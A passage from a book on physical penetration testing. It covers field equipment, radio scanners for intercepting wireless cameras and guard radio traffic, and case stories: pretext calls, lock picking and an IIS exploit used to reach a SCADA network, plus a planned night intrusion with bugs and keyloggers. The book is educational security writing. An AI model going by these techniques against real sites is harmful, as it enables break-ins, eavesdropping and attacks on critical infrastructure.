6 for\ndetails on this exercise.) For analysis software, I highly recommend the\nexcellent free Helix Toolkit from e-Fence. This is a bootable CD that\nautomates data acquisition to a PC. Keep some high capacity blank hard\ndisks around to store acquisition images. Helix also has a number of tools\nthat allow you to perform deep analysis of captured data, i.e. even if the\nfiles in question have been deleted and/or the disks or tokens have been\nformatted it is still possible to perform data recovery.\nCommunications Equipment\nTeam members on site and back at base should be in constant commu-\nnication. The most obvious solution is via mobile phones and as a rule\nthis works fine. Any mobile phone is fine for this however there are some\nadvanced considerations. For example, mobile telephone communica-\ntions are not encrypted per se. Sometimes it may be advantageous to\ndeploy an additional layer of security. The solution I like to go with works\nlike this:\nEach team member has a modern mobile phone that supports unlimited\nbroadband access to the internet and a Bluetooth headset. The free\ninternet Voice over IP (VoIP) software, Skype is installed on every phone.\nSkype is useful because it supports conferencing, allowing all team\nmembers to be permanent contact as well as using encryption by default.\nIts small impact signaling and traffic protocols mean that voice quality\nis surprisingly good. Also, you don’t run up huge mobile bills which is\nalways helpful. There are numerous phones and packages to choose from\nwherever you live.\nWalkie Talkies should be avoided; they are cumbersome and con-\nspicuous. The only time I would recommend their use would be in\ncircumstances where they reinforce your persona i.e. if you’re dressed as\nsite maintenance and so on.\n" }, { "page_number": 193, "text": "SCANNERS\n171\nScanners\nAs you’ve seen in this book, there are all kinds of good things float-\ning around on the airwaves. To recap, you’re predominantly interested\nin:\n•\nWireless Cameras (5.8 ghz and 2.4 ghz) – Cameras are interesting\nbecause they represent an opportunity to turn a company’s own\nsecurity against them. By eavesdropping on cameras, you are doing\nprecisely that.\n•\nWalkie Talkie chatter – Site wide communications are rarely en-\ncrypted and listening in may give you insight as to the location and\nquantity of security guards as well as other information.\nFor scanning cameras, you need a laptop with appropriate hardware and\nsoftware or a dedicated handheld scanner with a wide reception range\nand a built in screen. Cheaper cameras such as nanny cams use the\n2.4 GHz range, which is unlicensed (in the UK and US) and consequently\nis heavily cluttered with consumer technologies. Wireless (802.11b/g),\nBluetooth and cordless phones all use this frequency range. Microwave\novens will interface with all of these devices to make things even more\nfun. A new(er) unlicensed band, 5.8 Ghz is taking away some of this\nclutter and a lot of new security cameras that use it are being sold.\nThey’re proving popular due to the erroneous notion that as they’re not\nat 2.4 Ghz, they’re more secure. They’re not.\nShown in Figure 8.13, is a USB 2.4G Wireless Receiver available from\nwww.chinavasion.com. From the sales blurb:\n‘‘This compact Wireless Camera Receiver uses USB to send wireless camera\nsignals directly to your PC. The receiver automatically syncs up with any\n2.4 GHz cameras within range, no PAL or NTSC worries– no complicated\nsetup, perfect for the novice.’’\nThis device is actually pretty good at decoding video and quite useful for\npenetration testing purposes, though I’m not entirely certain about the\ntarget market . . . .\nIf you use this device in a heavily populated area you are going to\nreceive pictures from all manner of hidden cameras in bathrooms,\nbedrooms, and God knows what else. To reiterate, this wireless band\nis crowded.\n" }, { "page_number": 194, "text": "172\nGATHERING THE RIGHT EQUIPMENT\nFigure 8.13\nUSB Receiver and Recorder.\nIf you opt to purchase a handheld scanner specifically to spy on cameras,\npretty much your only viable option right now is the ICOM IC R3, shown\nin Figure 8.14. It’s pretty pricey though and won’t receive signals from\n5.8 Ghz cameras.\nFigure 8.14\nICOM IC R3 is a pricey option for spying on cameras.\n" }, { "page_number": 195, "text": "SCANNERS\n173\nTo capture walkie talkie chatter you need a hand held audio radio scanner\nthat can receive the FRS/GMRS frequencies in the United States or the\nPMR446 frequencies in the EU.\nFor reference, these are shown in Tables 8.4 and 8.5:\nTable 8.4\nPMR446 frequencies\nChannel\nFrequency (MHz)\n1\n446.00625\n2\n446.01875\n3\n446.03125\n4\n446.04375\n5\n446.05625\n6\n446.06875\n7\n446.08125\n8\n446.09375\nTable 8.5\nFRS/GMRS frequencies\nChannel\nFrequency (MHz)\n1.\n462.5625 FRS\n2.\n462.5875 FRS\n3.\n462.6125 FRS\n4.\n462.6375 FRS\n5.\n462.6625 FRS\n6.\n462.6875 FRS\n7.\n462.7125 FRS\n8.\n467.5625 FRS\n9.\n467.5875 FRS\n10.\n467.6125 FRS\n11.\n467.6375 FRS\n12.\n467.6625 FRS\n13.\n467.6875 FRS\n14.\n467.7125 FRS\n(contiued overleaf )\n" }, { "page_number": 196, "text": "174\nGATHERING THE RIGHT EQUIPMENT\nTable 8.5\n(continued)\nChannel\nFrequency (MHz)\n15.\n462.550 FRS/GMRS\n16.\n462.575 FRS/GMRS\n17.\n462.600 FRS/GMRS\n18.\n462.625 FRS/GMRS\n19.\n462.650 FRS/GMRS\n20.\n462.675 FRS/GMRS\n21.\n462.700 FRS/GMRS\n22.\n462.725 FRS/GMRS\nAny decent scanner will capture all of these ranges and much more.\nPersonally, I use the Icom IC-R5, shown in Figure 8.15 - it’s relatively\ncheap and the quality is satisfactory, but this is merely illustrative – you\nhave many options.\nFigure 8.15\nThe Icom IC-R5 is a reliable tool for capturing a variety of common frequencies.\n" }, { "page_number": 197, "text": "SUMMARY\n175\nThe Body Armor Fallacy\nThe ultimate protection against getting shot is to not put yourself in a\nposition where someone is pointing a gun at you and I cannot stress\nhow much I recommend this approach. Be sure you know whether\narmed guards will be patrolling the premises. If armed guards are\ninvolved my advice is to turn down the job. Even when wearing body\narmor, head shots are almost invariably fatal. In a combat situation,\nmedics are trained to deal with gunshot wounds to limbs but without\nimmediate treatment by someone with medical training and life-saving\nequipment, such traumatic injuries are often fatal.\nSummary\nIn this chapter I’ve covered some of the equipment I feel is essential for\nthe execution of a successful physical penetration test. What you take\nwith you is going to vary from test to test depending upon the rules\nof engagement and your goals. Therefore this chapter should not be\nconsidered exhaustive and you should remember that technologies go\nout of date quickly and better solutions are emerging all the time. In this\nchapter the following has been covered:\n•\nThe Get out of Jail free card – This is the most essential piece of\n‘equipment’ you will carry and certainly the only mandatory item for\nevery test. This is a document that shows you are authorized to be on\nsite testing. Always carry at least two copies.\n•\nPhotographic Equipment – A camera is an essential piece of kit for\nboth surveillance and recording progress. It should be modern and\npowerful but discrete. You should also know how to use it.\n•\nLaptops – Portable computers are essential for any physical penetra-\ntion tests that involve an element of computer intrusion (i.e. almost\nall of them). Laptops should be modern and capable of virtualization.\n•\nWireless Equipment – Not all wireless equipment is created equal –\nparticularly not from the perspective of a security test. Make sure the\ngear you take with you allows you to execute the attacks described in\nChapter 7.\n•\nGPS Equipment – With GPS you always know where you are, where\nyou’re going and (for the purposing of reporting) where you’ve been.\nGPS can make planning a coordinating a test, particularly one with\nmultiple operators go much more smoothly.\n" }, { "page_number": 198, "text": "176\nGATHERING THE RIGHT EQUIPMENT\n•\nElectronic Forensics – This is discussed in Chapter 6. You don’t need\nto spend a lot of money to build a working forensics lab that will\nboost your information gathering capability.\n•\nLock Picks – Essential for defeating locks. Chapter 5 is dedicated to\npractical lock picking and this is a skill worth studying and practicing.\n•\nCommunications – Testers need to stay in constant touch with one\nanother and HQ. How you do this is up to you but I’ve indicated my\npreferences here.\n•\nScanners – Radio scanners can be useful to intercept feeds from\nwireless security cameras and walkie-talkies.\nYour kit bag will rapidly evolve over time (at least it should) and will\ncertainly grow. That being said, you don’t need all of the equipment\ndiscussed here to execute a successful assignment, in many cases the\nonly thing you’ll be carrying is your Get out of Jail Free card – don’t leave\nhome without it.\n" }, { "page_number": 199, "text": "9\nTales from the Front Line\nThis chapter contains some examples of testing that I’ve performed that\ncontain an element of physical penetration testing. The stories themselves,\nalthough based on real events, are fictionalized for obvious reasons.\nPeople tend to get upset when you publish details of how they were\ncompromised. I have changed not only client names but also software\nand hardware details and locations. Not detailing these issues means\nthat I don’t get sued and neither does my publisher (which we mutually\nagreed was for the best). That being said, the concepts and themes in\nthis chapter should be clear and should illustrate some of the points I’ve\nmade throughout the book.\nSCADA Raiders\nIt was 2003 and the words on everyone’s lips were ‘cyber warfare’ and\n‘electronic pearl harbor’.\nWell, not quite everyone’s lips. Certainly, they were on the lips of lazy\njournalists and irresponsible security consultancies determined to sell\nthe idea that al-Qaeda was about to launch global Armageddon via the\nInternet (so how about this nice shiny Jihad-proof firewall?). In any case,\nit was mostly nonsense. Mostly.\nEven the most skeptical within the security and intelligence communities\nwere willing to concede that some systems were potentially vulnerable\nto ‘cyber attack’ although these had nothing to do with the Internet. What\nstarted to concern a lot of people around this time wasn’t the computer\nsystems that were responsible for delivering your email or getting you\nonto the Web. If these get knocked out, it’s a pain but not the end of\nthe world; a recent spate of vicious Internet worms had shown this. The\nconcerns revolved around the computers whose task it was to monitor\n" }, { "page_number": 200, "text": "178\nTALES FROM THE FRONT LINE\nand regulate certain somewhat more vital functions, systems that are\nconsidered mission critical: life support, electrical grids, power stations,\nwater treatment facilities, and weapon systems. Such technologies are\ncollectively (and generically) referred to as supervisory control and data\nacquisition (SCADA) systems.\nSuch systems are not connected to the Internet or any public network,\nalthough it’s not uncommon for there to be some form of monitoring\navailable via telephone modem links. Therefore, there’s not the same\nlevel of exposure as with a web server connected 24/7 to the Internet,\nbut here’s the problem: those boxes on the Internet run software that is\nconstantly tested for security holes that are patched as soon as they’re\nfound. There is considerably less interest in SCADA systems among\nhackers and security researchers because they don’t have the same mass\nexploitation potential. SCADA systems run in small private networks\nhidden away from the rest of the world, usually perfectly secure against\nreasonably determined hackers. Ergo, SCADA software and hardware\nby its very nature is not as secure, because it’s nowhere near as well\nknown or scrutinized and is heavily dependent on physical security to\nkeep it safe. However, the environments that SCADA systems monitor\nare usually mission critical; their failure would have serious or even\ncatastrophic consequences. Figure 9.1 shows a classic layout.\nSCADA\nPLC 1\nPLC 2\nPump Control-\nFlow\nLevel\nValue Control-\nPLC1 compares the measured flow to\nthe setpoint, controls the speed pump\nas required to match flow to setpoint.\nPLC2 compares the measured\nlevel to the setpoint, controls the\nflow through the valve to match\nlevel to setpoint.\nv-2\nE-1\nF1\nL\nThe SCADA system reads the measured\nflow and level, and sends the setpoints to the\nPLCs\nFigure 9.1\nA typical SCADA schematic with two programmable logic controllers (PLCs).\n" }, { "page_number": 201, "text": "SCADA RAIDERS\n179\nThe Mission\nSo what if a group of hackers or terrorists possessing the requisite technical\nknowhow were able to physically penetrate a facility and gain access to\nthe SCADA network? This was precisely the question asked by the security\nteam at a large energy provider in the UK. They asked us specifically:\n•\nWhat would be the most likely route for an attack on the monitoring\nand control systems?\n•\nWould it be feasible for an attacker to take control of such systems?\n•\nWould it be possible to leverage that access to induce a ‘catastrophic\nevent’?\nThe definition of a catastrophic event was never clarified but given that the\nclient operated a number of power stations (one of which was nuclear),\nI decided to interpret it to mean anything from a failure in a system leading\nto expensive hardware damage right through to a meltdown. Aside from\nthat, the entire attack was ‘black box’: No information would be provided\nin advance to make the assessment as realistic as possible.\nSCADA systems (both hardware and software) are produced by many\ndifferent manufacturers. Before we even thought about planning an\nattack, we needed to know exactly what vendors they used as well as\nthe physical location of equipment and data-monitoring terminals. With\nthis information, we would know what we were dealing with. One thing\nwe did have on our side was time: two months to spend researching the\ntarget and a further two weeks to carry out the attack. We planned to have\nboth the research and the attack completed within the initial two months.\nInformation Gathering\nDetermining (at least some of) the SCADA equipment in use proved to\nbe a little easier than anticipated; the website of SmartFlex Technologies\nproudly proclaimed:\nMarket leader in Control Systems Software, SmartFlex Technologies Ltd\ntoday announced the signing of their latest client, UKpGen plc, a blue-chip\nprovider of energy solutions to both the private and public sectors. ‘We\nturned to SmartFlex and their innovative range of SCADA technologies\ndue to clear synergy between our two enterprises,’ said John Hewlett of\nUKpGen. ‘After a highly successful six-month rolling out period, Smartflex’s\nRELYon software is a clear winner and interfaces with the vast majority\nof our RTUs out of the box – specifically our electrical substation units.\nSmartFlex were easily able to write custom drivers for our aging legacy\nhardware.’\nSmartFlex Technologies, 24 January 2002, Atlanta, GA.\n" }, { "page_number": 202, "text": "180\nTALES FROM THE FRONT LINE\nHo! Don’t you just love press releases? That is, once you get beyond the\nfact that they all seem to be automatically generated by machines that\nthink any paragraph that omits the word ‘synergy’ is poorly spent. No mat-\nter, we now knew the manufacturer of their software as well as the specific\nsoftware product in use: SmartFlex Technologies’ RELYon range. Interest-\ningly, the release notes that drivers were available ‘for the vast majority\nof our RTUs’ and only ‘aging legacy hardware’ needed custom drivers.\nAs a quick aside, a remote terminal unit (RTU) or programmable logic\ncontroller (PLC) is a generic term for the electronics that interface between\nwhatever is being monitored or controlled (e.g. temperature or pressure)\nand the system doing the monitoring or controlling. The way this connec-\ntion takes place varies but is usually either Ethernet or RS232, depending\non the age of the equipment and the physical distance between the RTU\nand the central station – the heart of the SCADA operation. The proto-\ncols that the RTUs and the central station use to speak to one another\nis entirely up to the vendor but various standards do exist (DNP3 and\nICCP are two examples) and they have changed very little over the years,\nexcept to have additional functionality bolted on top.\nThe fact that UKpGen’s newer equipment was supported out of the box\nallowed us to get an idea of what they might be using because SmartFlex\nhelpfully lists all of the RTUs they support on their website as well as\ndetails of their RELYon software, including a trial version. In due course,\nwe would rip that apart and look for bugs. In the mean time, we learned\nall the different ways we could interface with the RTUs. The central\nstation itself permitted dial-in and web access; maybe we wouldn’t need\nto go physical on this test at all.\nKnowing that a particular requirement is monitoring and controlling an\nRTU in an electrical substation, we narrowed down two possibilities from\nthe supported hardware on the SmartFlex website:\n•\nRochester H6619-ETI SuperRTU\n•\nBradcon 212a RTU+\nAt this point a little social engineering was required. I could go one of\ntwo ways: call SmartFlex and pretend to be from UKpGen, or vice versa.\nI decided on the former; getting hold of the right people at UKpGen\ncould take ages but SmartFlex was a much smaller company and this was\nclearly an important contract so getting someone on the phone would be\nmuch easier. I looked up the number for their head office on the website\nand dialed.\n‘Hi, this is Bill Door from UKpGen. Can I speak to someone who handles\nour contract please?’ I asked.\n‘Erm, who do you normally speak to?’ the receptionist replied.\n" }, { "page_number": 203, "text": "SCADA RAIDERS\n181\n‘Actually, no one. This is the first time I’ve called. I’ve just been moved into\noperations and urgently need to speak to someone regarding a possible\nsecurity flaw in your software, preferably someone reasonably technical.’\n‘Oh, OK. Hang on, I think John’s in the office, John Craig – the Head of\nDevelopment – I’ll put you through.’\nAfter a brief pause, John Craig answered the phone. He’d clearly just\nbeen quickly appraised of the reason for my call because he said:\n‘Hi, Mr. Door, I understand you have some security concerns. What\nseems to be the problem?’\n‘Hi, John. Hope I’m not overreacting here but we’ve been doing some\nnetwork analysis and I think someone’s been able to hack our Rochester.\nI did a traffic dump and it looks like they’ve come in through SmartFlex.’\n‘I thought you guys used Bradcons exclusively for your step-up transform-\ners. Those two drivers are definitely not compatible,’ he replied sounding\na little nervous. ‘Also, the only connections that exist are between the\nRTUs and the monitoring stations, assuming your networks are locked\ndown. There is no way a hacker could gain that kind of access’\n’Oh, yeah, we do, sorry. We use a couple of Rochesters up north and I’ve\njust transferred down here’ I said trying to sound like a clueless middle\nmanager. ‘I meant Bradcons – the, er, . . . 212a. Could I send you some\ndetails? I’m probably mistaken, based on what you’ve just told me.’\n‘Sure,’ John replied, not really wanting to have this conversation.\n‘Great, what’s your email address?’\n‘john.c@smartflex-scada.com.’\n‘Thanks, I’ll get back to you shortly.’\nHmm. Needless to say I didn’t get back to him and I doubt he ever chased\nit up but we had what we wanted. We now knew the vendor, the software\nand the hardware. We also had a good idea that UKpGen is not making\nuse of remote access-monitoring systems if only the central monitoring\nstation has access to the RTUs.\nPlanning\nThe next stage was to figure out a viable plan of attack and answer the\nfollowing questions:\n•\nWhat sort of attack should be launched against the Bradcon RTUs?\n•\nAssuming that some transformer sites are going to be easier to penetrate\nthan others and that some are going to have a higher strategic attack\nvalue than others, where are we physically going to penetrate?\n" }, { "page_number": 204, "text": "182\nTALES FROM THE FRONT LINE\nWe read the manuals for the Bradcon 212a and discovered that most\nof the functionality is concerned with acquiring information rather than\ncontrolling it. This meant an electronic attack would have to revolve\naround disrupting or modifying the data stream between the RTU and\ncentral station thus negating the integrity of the data. Such an attack could\nbe used to mask damage to the substation. It could also prevent corrective\nmeasures from being deployed during spikes or other problems possibly\ndirectly leading to damage. The manuals also gave detailed information\nfor disassembling the RTU unit, which would allow us to record data from\nthe Ethernet interface and play it back to the central station loop. This\nwould be especially easy because the protocols carrying the data were\nbased on the connectionless UDP and easily reverse engineered (thank\nyou, Trial Download). If carried out correctly, an RTU would report all\nclear while in fact the site itself could be on fire. We decided to proceed\nwith this attack (though arson, sadly, was not in scope). It might also be\npossible to use the network link from the RTU and hack into the rest\nof the SCADA network or take over the central station itself – a classic\ncompromise of a secure network through a poorly protected endpoint.\nThat left the question of where to attack. Most substations are not manned\noutside routine maintenance visits but that doesn’t mean there wouldn’t\nbe cameras, motion detectors and alarms. Happily, dogs wouldn’t be a\nproblem. It’s illegal to deploy guard dogs in the UK without handlers and\nthis seemed unlikely at an electrical substation. We wanted a substation\nlarge enough to make the attack worthwhile but small enough to minimize\nthe possibility of getting caught. For those left wondering what a substation\nlooks like, see Figure 9.2 – you’ve probably driven past one many times.\nFigure 9.2\nAn electrical substation.\n" }, { "page_number": 205, "text": "SCADA RAIDERS\n183\nThere are several fairly complete databases plotting the locations of\nsubstations around the country and we referred to one that was linked to\nUKpGen’s website. This gave us a number of possibilities and we decided\nto opt for one in suburban north London in the small town of Southgate.\nWe arrived outside the substation at around 8 pm, just as it was starting\nto get dark and my first thought was that we had the wrong address.\nI was expecting a typical cordoned off site with transformer technology\nclearly visible from the street. I was not expecting a suburban home with\na neatly mowed lawn and driveway. Then I realized that there were no\nfront facing windows and I could just make out a warning sign on the\nwall. This was interesting, a deliberate attempt to disguise the substation\nfrom the street, although the locals must have known there was no one\nliving there.\nI went in for a closer look while my colleague waited in the car keeping\na lookout while pretending to be reading a map. At the front door it was\nobvious we had the right place; a low hum could now clearly be heard\nand the front door was double padlocked and carried a large yellow\ndanger-of-death sign. I walked around the back and peered in through\nthe only window (see Figure 9.3). Sure enough, the entire exterior was\na fac¸ade. Inside was one large room with transformer equipment in the\nmiddle of the room. Around the walls were tables covered in paper and\nempty coffee mugs with one lone computer workstation sitting in the\ncorner. There was also network cabling everywhere and I was surprised\nthat the effort that had gone into keeping the outside so neat and suburban\nhadn’t been reproduced inside. Ah well, that’s engineers for you. I took a\nfew photographs and went back to the car; this was definitely the place.\nFigure 9.3\nA covert electrical substation.\n" }, { "page_number": 206, "text": "184\nTALES FROM THE FRONT LINE\nThe next day we spent analyzing the photographs I’d taken and deter-\nmining the final plan of attack. The more I thought about it, the more\nI was convinced that rather than a basic attack against a single RTU, a\nlarger attack against the SCADA network as a whole was possible and\nthis would be the perfect location to find out.\nCarrying Out the Attack\nWe planned to return the following night and this time we went prepared\nwith laptops, networking gear, and lock picks. Again, we arrived at\naround 8 pm but this time, to our horror, we saw there was an engineering\ncrew already on site. They’d parked in the driveway out of sight from\nthe road and we didn’t see their van until we were almost on top of\nit. Beating a hasty retreat to the car (that I’m sure didn’t look remotely\nsuspicious to anyone watching), we discussed whether to wait it out or\nreturn another time. Happily, that decision was made for us a couple of\nminutes later. The van backed up the driveway and was soon gone. On\nreflection this was perfect, if these guys were routine maintenance it was\nhighly unlikely anyone would return that night giving us free rein. Our\ncover story had been that we were doing network testing for SmartFlex if\nanyone had come along and asked but it wasn’t a story that would have\nwithstood careful examination.\nPicking the locks was not as easy as I had anticipated; the padlocks were\neasily bypassed using shims but 10 minutes working the pin tumbler\nmechanism on the door itself left me wishing I’d brought a snap gun. I let\nmy colleague take over and his hands proved a little defter. After a couple\nmore minutes the door was open. The noise from the transformer inside\nwas overwhelming and the air itself felt charged.\nI plugged my laptop into the hub and fired up a traffic analyzer. The flow\nof packets from the RTU back to the central station appeared on the\nscreen immediately. I assigned myself an IP address and other settings\nbased on the data capture and started to poke around.\nIt rapidly became apparent that we had visibility of a large network with\nmany devices carrying the same signature traffic as the local RTU. It\nseemed our assumptions were correct. We were now plugged into the\nSCADA network and able to see every other substation on the grid and\nprobably lots of other more sensitive equipment as well. Our local RTU\nwas talking to a single IP address, probably the end point of the SCADA\nmanagement system, so it was a pretty good bet that all the other devices\nwere as well. If we could compromise that system, it was very likely we\ncould shut down the entire grid or at least cause significant problems.\nI ran a port scanner against the remote IP address, which returned both\nproprietary SmartFlex and web server ports. This was about right for a\nSmartFlex server, which allows users to monitor systems via a desktop\n" }, { "page_number": 207, "text": "SCADA RAIDERS\n185\nFigure 9.4\nImmunity CANVAS is a commercial exploitation framework.\napplication and a web browser. The web server was running Microsoft\nIIS 5.0. Hmm, a couple of weeks previously a severe vulnerability had\nbeen discovered in IIS. Would a web server on a closed network like this\nwith no access to the Internet be patched? There was only one way to\nfind out. I had a couple of exploits for this bug but the one I went with\nwas part of CANVAS, an exploitation framework made by the great guys\nat Immunity (see Figure 9.4).\nI ran the exploit and a few seconds got the beautiful console that indicates\na successful attack. Although CANVAS is the premier commercial tool for\nthis kind of work, there are public-domain equivalents. The Metasploit\nFramework discussed in Chapter 7 (see Figure 9.5) can also be used for\nthis kind of work.\nWith this level of access, it would be trivial to take over the monitoring\nconsole, at which point this would be our network. However, we had\nmade our point. I acquired a few screen dumps to prove we’d gained\naccess and began restoring the connections to the state in which we’d\nfound them. We had more than enough evidence to prove that the SCADA\nsystems were vulnerable.\nConclusion\nAn oft repeated axiom in the industry is that security is only as strong\nas its weakest link. In this instance, the client believed that because this\n" }, { "page_number": 208, "text": "186\nTALES FROM THE FRONT LINE\nFigure 9.5\nThe Metasploit Framework is an open source alternative to CANVAS.\nwas a closed network with no connection to the outside world via, for\nexample, the Internet, that it was secure. The weakest link here was the\npoor physical security of the substations and this was not going to be an\neasy problem to solve; the sheer quantity of sites combined with the fact\nthat they were unmanned made gaining access very easy. In addition,\npoor network controls and security made compromising the monitoring\nsystem, and thereby the entire SCADA network, only too possible and\nthis could have had catastrophic consequences.\nThere was also a belief at the client company that people wouldn’t go\nlooking for substations or if they did wouldn’t find them. Although it is a\nridiculous notion, this sort of dangerous thinking is very common. If I hide\na safe somewhere in London, it is not secure but merely obscure. If I give\nyou the safe and several to practice on along with the specifications and\nyou still can’t open it, it’s secure.\nConsider the following lessons from this case study:\n•\nEven the most secure systems have a weakness that can be exploited.\n•\nOpen source intelligence (OSINT) was discussed in Chapter 2. It is\noften the first and most useful way of gathering information about a\ntarget.\n" }, { "page_number": 209, "text": "NIGHT VISION\n187\n•\nA little social engineering goes a long way. Before setting foot inside\nthe target, we knew what software they were running and how it\nworked. By using an easily accessible database (ostensibly for the use\nof engineers), we were able to pick our own target.\n•\nPhysical security is often an illusion that relies on deterrence and\nintimidation. This is insufficient to deter a dedicated attacker.\n•\nClosed networks are far less secure than Internet-facing hosts once\nyou’ve gained access to them.\nNight Vision\nPhysical penetration testing can be challenging in many ways, however\nthere is absolutely no doubt that the most difficult tests are those that\nare carried out at night when security personnel are unaware. A couple\nof years ago my team was invited to simulate an attack by intruders on\na medium-sized business in the Netherlands. The assignment had come\nfrom Pieter de Vries, the managing director, and he wished to involve as\nfew people as possible. For this reason, he visited us at our offices and\nexplained why he wanted the test.\nThe Mission\nThe company (we’ll call them Nederlabs BV) was a leader in the drug\ndevelopment industry and world leaders in the field of brain perfusion.\nThis led to them being targeted in equal measure by competitors and\nanimal rights groups. When I say animal rights, I’m not talking about\nthe people who genuinely care about animals and don’t eat meat. (I’m\nsquarely in that category myself.) I am talking about groups that firebomb\nfamily homes of employees they perceive to support animal testing or\nthose who dig up and steal the remains of relatives. In one instance, the\nbrother of a postman delivering to a facility was beaten with pick-axe\nhandles.\nCompetitors and animal rights extremists are two completely different\nthreats that would need to be separately modeled. A competitor is likely\nto infiltrate someone into the facility as an employee. This is not likely to\nbe an option for animal rights extremists whose modus operandi is direct\nor covert action and intimidation.\nOur client was more worried about animal rights groups than corporate\nspies. The extensive background checks that prospective employees are\nsubjected to had proved fairly reliable in weeding them out. The biggest\nconcern was a night time raid on the premises because a previous raid\nto free laboratory animals was launched and aborted (primarily because\n" }, { "page_number": 210, "text": "188\nTALES FROM THE FRONT LINE\nNederlabs, being a modern facility, makes extremely limited use of\nanimal testing).\nWe needed to come up with an attack scenario that took into con-\nsideration both the risk of activists breaching the facility at night and\nthe potential for corporate espionage. Therefore we created an attack\nscenario with the following parameters:\n•\nThe intrusion should be at night (or at least night time entry should be\na component of the test) and no other staff would be given advance\nnotice it was happening.\n•\nThe primary goal was to gain access to the office of the managing\ndirector, bug his office and install key logging hardware on his\nworkstation.\n•\nAdditionally, we would leave several small packages in key locations.\nThese packages were nothing more than molded plastic but, for the\npurpose of this audit, they would be considered to be blocks of C4\nplastic explosive.\nInformation Gathering\nWe were ready to begin the preliminary research phase of the project\nand at this stage the questions that I wanted to answer were:\n•\nHow big is the site and what physical controls are in place to prevent\nintruders from entering it?\n•\nWhat other controls are in place, for example, where are cameras\nlocated, are motions detectors used, and so on?\n•\nHow many guards are present and what is their strategy?\n•\nAre guard dogs used?\n•\nAssuming all goes well, where is the managing director’s office?\n•\nWhat are the points of maximum impact to deploy ‘explosives’?\nAccording to Google Earth, the site was approximately 50,000 square\nmeters in total, more or less what I was expecting. It was surrounded on\nthree sides by acres of forest but the front of the building and the car park\nfaced a busy main road on the other side of which, conveniently, sat a\nMcDonald’s restaurant and a gas station. This would be perfect for initial\nsurveillance.\nThe initial surveillance was carried out in two phases. The first phase took\nplace during the day and was intended to give us an idea of their basic\nsecurity posture. The night time phase helped us determine how much\n" }, { "page_number": 211, "text": "NIGHT VISION\n189\nthis security changed. We also wanted to determine guard placement and\npatrols but ultimately the question was one of strategy: Would it be better\nto break in or disguise ourselves and walk in the front door?\nWe sat outside the restaurant for a couple of hours drinking coffee and\nwatching the site through binoculars. A lot of people came and went but\nwe didn’t see any security. They probably wouldn’t do perimeter patrols\nduring the day anyway. One thing did stand out though: despite the fact\nthat there were cameras covering every conceivable angle and inch of\nthe premises, they were a model that did not include night surveillance\nfeatures. Unless the grounds were floodlit after dark, the cameras would\nbe almost completely useless as anything other than a deterrent.\nAs it started to get dark, we decided to move a little closer and take\na stroll around the site itself. They’d certainly picked a very nice spot,\nalmost completely surrounded by woodland, which was of course very\nuseful for us as we could get right up to the fence and still be on\nNatuurmonumenten land (owned by the society for nature conservation).\nThe fence carried security warnings every few meters. The company\noutsourced to protect the site was a local outfit called Trustek Security,\nwho’d been good enough to supply contact details.\nThe fence itself was about 3 meters high. It extended around the entire\nperimeter of the site and was capped with razor wire, as shown in\nFigure 9.6. Again, this was just for show. Razor wire is completely\npointless if it sits on top of something you can easily cut through, in this\ncase low-security, chain-link fencing.\nFigure 9.6\nCoiled razor wire on chain link fencing looks intimidating but is easily defeated.\n" }, { "page_number": 212, "text": "190\nTALES FROM THE FRONT LINE\nRazor Wire\nNever be tempted to cut through razor wire itself. It is under tension\n(though this decreases with time) and rapidly uncoils if severed. Should\nyou be standing next to it when this happens, you will suffer severe\ninjuries.\nHaving determined that we could easily get into the facility, the question\nwas how long we could remain undetected. There was no sign of flood\nlighting although the car park was lit. We were fairly convinced we could\nmake it to the main buildings without being seen. The question then,\nof course, was how we would get in, remain undetected, and locate\nthe boss’s office. It was time to return to the office and do some more\nresearch.\nWe needed to learn a little more about the inside of Nederlabs so the\nnext day we put in some time on the phone. The company was recruiting\nfor various roles: marketing, sales, and scientists were all positions listed\non their website. I decided that I’d put a CV together and apply for a job\nin bioanalysis.\nBioanalysis Job Advertisement\nWe are looking for both senior scientists and scientists to join our\nbioanalysis group.\nKey areas of work within this bioanalysis laboratory are:\n1. Development and validation of quantitative LC/MS/MS methods for\nthe analysis of drug and metabolites in biological matrices.\n2. Application of these methods to routine analysis of samples from\npre-clinical and clinical studies.\n3. Record-keeping in compliance with GLP/GCP.\n4. Preparation of study plans and reports\nEssential requirements for a scientist or senior scientist position are:\n• Degree in chemistry or related subject or relevant experience\n• Experience of chromatographic techniques i.e. HPLC, LC/MS and\nability to problem solve\n• Ability to take some science-based decisions without the need for\nreferral\n" }, { "page_number": 213, "text": "NIGHT VISION\n191\n• Good written and verbal communication skills\n• Computer literate\n• Ability to work with minimum supervision and as part of a team\n• Conscientious and meticulous in laboratory work\n• Good time-management skills and ability to work to tight deadlines\n• Highly motivated\n• Willing to get involved with new ideas and initiatives\nI’d been completely hopeless in chemistry at high school but I knew that\nscientists tend to have more of a rapport with each other than salesmen.\n(Sales people are naturally competitive even when working for the same\ncompany.) I figured I’d have a greater chance to look around the site\nand might even be able to get a tour as a job applicant. I swatted up\nthe terms mentioned in the job specification (such as HPLC and GCP)\nand put together the sort of CV that would guarantee me an interview\n(sooner rather than later, I hoped). I fired off the CV with a covering letter\noozing enthusiasm, called up Recruitment to make sure they’d received\nit and set about figuring out how we were going to execute the rest of the\nassignment.\nPlanning\nThe longer you remain on site during a physical penetration test, the\ngreater your chances of discovery and failure become. It is therefore\nabsolutely essential you conclude your operation as quickly as possible\nonce the physical element is initiated. To this end, the more information\nyou gather and the less uncertainty you have as you enter, the better. One\nof the goals of this assignment was to infiltrate the managing director’s\noffice and I wanted to know exactly where it was before I set foot in the\nbuilding. The last thing you want is to be wandering around looking for\nsomething like that because it attracts unwanted attention. The Nederlabs\nHQ has five stories and it was a good bet that the head honcho’s office was\ngoing to be on the top floor so I planned to apply a little social engineering\nto confirm this and maybe get some additional information while I was\nat it. I first searched the Web to find any companies that identified\nthemselves as suppliers of Nederlabs, using much the same technique we\ndeployed when hacking the SCADA network, and immediately hit pay\ndirt. Phemonex plc, a US supplier of laboratory equipment, list Nederlabs\nas a major client. As I browsed their website, I got a couple of SQL errors,\nwhich I couldn’t help noticing. I could probably hack this web server\neasily, which would likely give me access to all sorts of information\nthat would be useful to someone thinking about attacking Nederlabs.\n" }, { "page_number": 214, "text": "192\nTALES FROM THE FRONT LINE\nUnfortunately, I wasn’t allowed to do this but I made a note of the errors\nso that I could inform someone about it in the future. Next I needed to\nthink up some way I could use Phemonex to get more information about\nthe MD’s office, so I grabbed some names from their website that I could\nuse in a pretexting attack and called Nederlabs. The first call I made was\npretty 